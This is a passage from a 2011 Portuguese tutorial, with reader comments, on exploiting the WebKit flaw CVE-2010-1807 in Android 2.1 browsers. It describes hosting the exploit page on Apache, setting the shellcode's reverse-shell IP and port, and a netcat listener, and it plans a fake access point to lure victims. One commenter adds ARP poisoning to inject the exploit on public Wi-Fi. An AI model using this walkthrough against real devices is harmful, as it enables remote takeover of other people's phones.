Explorando celulares Android via Web com airbase-ng

Esse artigo busca explicar como é possível a exploração de celulares com Android 2.1, via wireless, através de uma vulnerabilidade encontrada no WebKit.

[ Hits: 25.551 ]

Por: Luiz Vieira em 16/03/2011 | Blog: http://hackproofing.blogspot.com/


Início



Recentemente foi publicada uma vulnerabilidade no WebKit (CVE-2010-1807), utilizado pelo Safari e Chrome, que também afeta o browser dos celulares Android.

A vulnerabilidade foi descoberta por M.J. Keith, quem também publicou um exploit durante uma conferência em Houston, e logo Itzhak Avraham realizou algumas melhorias no mesmo, para dar-lhe maior grau de sucesso na exploração.

Esta vulnerabilidade afeta os celulares Android com a versão 2.1 e inferiores, e apesar da última versão 2.2 não ser afetada, nem todos os fabricantes ou operadoras obrigam seus usuários a atualizar o software.

Por exemplo, em meus testes, utilizei um Motorola Milestone com Android 2.1-update1, e apesar da versão 2.2 estar disponível há um bom tempo, apenas recentemente a Motorola começou a realizar os upgrades para o Milestone na América Latina, isso no primeiro trimestre de 2011.

Uma vergonha por parte dos fabricantes e operadoras! Lembrando que já está disponível a versão 2.3 do Android, agora em Março/2011.

Explorando o Android

Para explorar essa vulnerabilidade, o celular com Android deve acessar um site web que possua o código malicioso.

Poderíamos fazer isso na internet, ou como vamos fazer a seguir, levantar um Access Point falso para liberar o acesso à Internet para pessoas com celulares, e quando realizarem uma requisição específica de DNS, redirecionaremos à um site hospedado localmente com o código malicioso.

Preparando o Exploit

Baixamos o exploit e o deixamos no home do Apache com o nome "index.html":

# nano /var/www/index.html

[cole o conteúdo do exploit dentro desse arquivo, e salve]

# /etc/init.d/apache2 start

Nas primeiras linhas do exploit melhorado por Itzhak, podemos encontrar a possibilidade de facilmente alterar o endereço IP e a porta do shellcode:

var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1
var port = unescape("\u3930"); //port 12345 (hex(0x3039))

Nesse caso, uma vez que a exploração tenha sucesso, será criada uma conexão reversa para o IP "192.168.0.1" na porta "12345", para a qual devemos já ter deixado em estado de escuta o netcat nessa porta:

# nc -l -p 12345 -n -vvv
listening on [any] 12345 ...

    Próxima página

Páginas do artigo
   1. Início
   2. Preparando o Access Point falso e atacando a vítima
Outros artigos deste autor

PNL para Hacking

SELinux - Security Enhanced Linux

Elevação de privilégios locais

Bypass de firewall com tunelamento por DNS

Segurança da Informação: Necessidades e mudanças de paradigma com o avanço da civilização

Leitura recomendada

Verificação de integridade de arquivos - Ferramenta OSSEC

OSSEC HIDS - Instalação e configuração no CentOS 6.5

Tornando seu Apache mais seguro com o ModSecurity

Ferramentas de detecção e NMAP

Recuperando senhas de usuários

  
Comentários
[1] Comentário enviado por bruno_arueira em 16/03/2011 - 14:35h

É aquela velha história, não há nada a base de falhas :)

Mas há algum método paleativo para prevenir? Tipo se eu tiver root no aparelho remover o browser e por outro?

Att.

[2] Comentário enviado por gleudson junior em 16/03/2011 - 16:12h

Entre outras possibilidades de âmbito mais técnicas de evitar esse tipo de ataque, como por exemplo, a citada pelo Luiz no inicio do artigo, onde se deve fazer a atualização do sistema, visto que as versões mais recentes já vêm com patch de correção da vulnerabilidade. O principal mesmo ainda é: não conectar em uma rede não “Confiável”, ou ao menos numa rede totalmente desconhecida.

Alias Luiz, parabéns pelas contribuições!

[3] Comentário enviado por julio_hoffimann em 16/03/2011 - 19:11h

Oi Luiz, parabéns!

Muito interessante! Não sou da área, mas percebo que quando o assunto é segurança, você sabe tudo! Obrigado por compartilhar conosco esses conceitos.

Abraço!

[4] Comentário enviado por premoli em 16/03/2011 - 22:20h

Um dia ainda vou ser assim ... rsrsrs.... Parabéns!! Ótimo artigo!!!

[5] Comentário enviado por luizvieira em 16/03/2011 - 23:03h

Obrigado pelo bom retorno galera!

Fico feliz de contribuir de maneira positiva com a comunidade.

[ ]'s
Luiz

[6] Comentário enviado por killerbean em 17/03/2011 - 09:38h

Mas, como já perguntadom não há uma maneria de corrigir o bug, sem ser atualizar todo o sistema ?
Outra coisa, esse acesso é como root, certo ? Então poderimos usar essa vunerabilidade para acessar o celular como root sem ser permanente e sem perder a garantia, talvez.

[7] Comentário enviado por removido em 17/03/2011 - 16:46h

Grande Luiz. Como sempre, excelentes contribuições !


Abraço

[8] Comentário enviado por _m4n14c_2 em 20/02/2012 - 02:40h

Brilhante.

Só para incrementar a idéia de um cenário real, você não precisa criar um AP tabajara usando a sua 3G: basta ir a um local público onde já haja wifi (inclusive uma rede "confiável"), usar o bom e velho arp poisoning para redirecionar o tráfego para a sua máquina e, com um proxy transparente, editar as páginas "on the fly".

Fiz aqui o truque com o scapy + perl HTTP::Proxy em 10 minutos, só falta arrumar um android pra testar. Aí nos seus testes, o shellcode travou/fechou o browser ou só pegou uma thread?


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts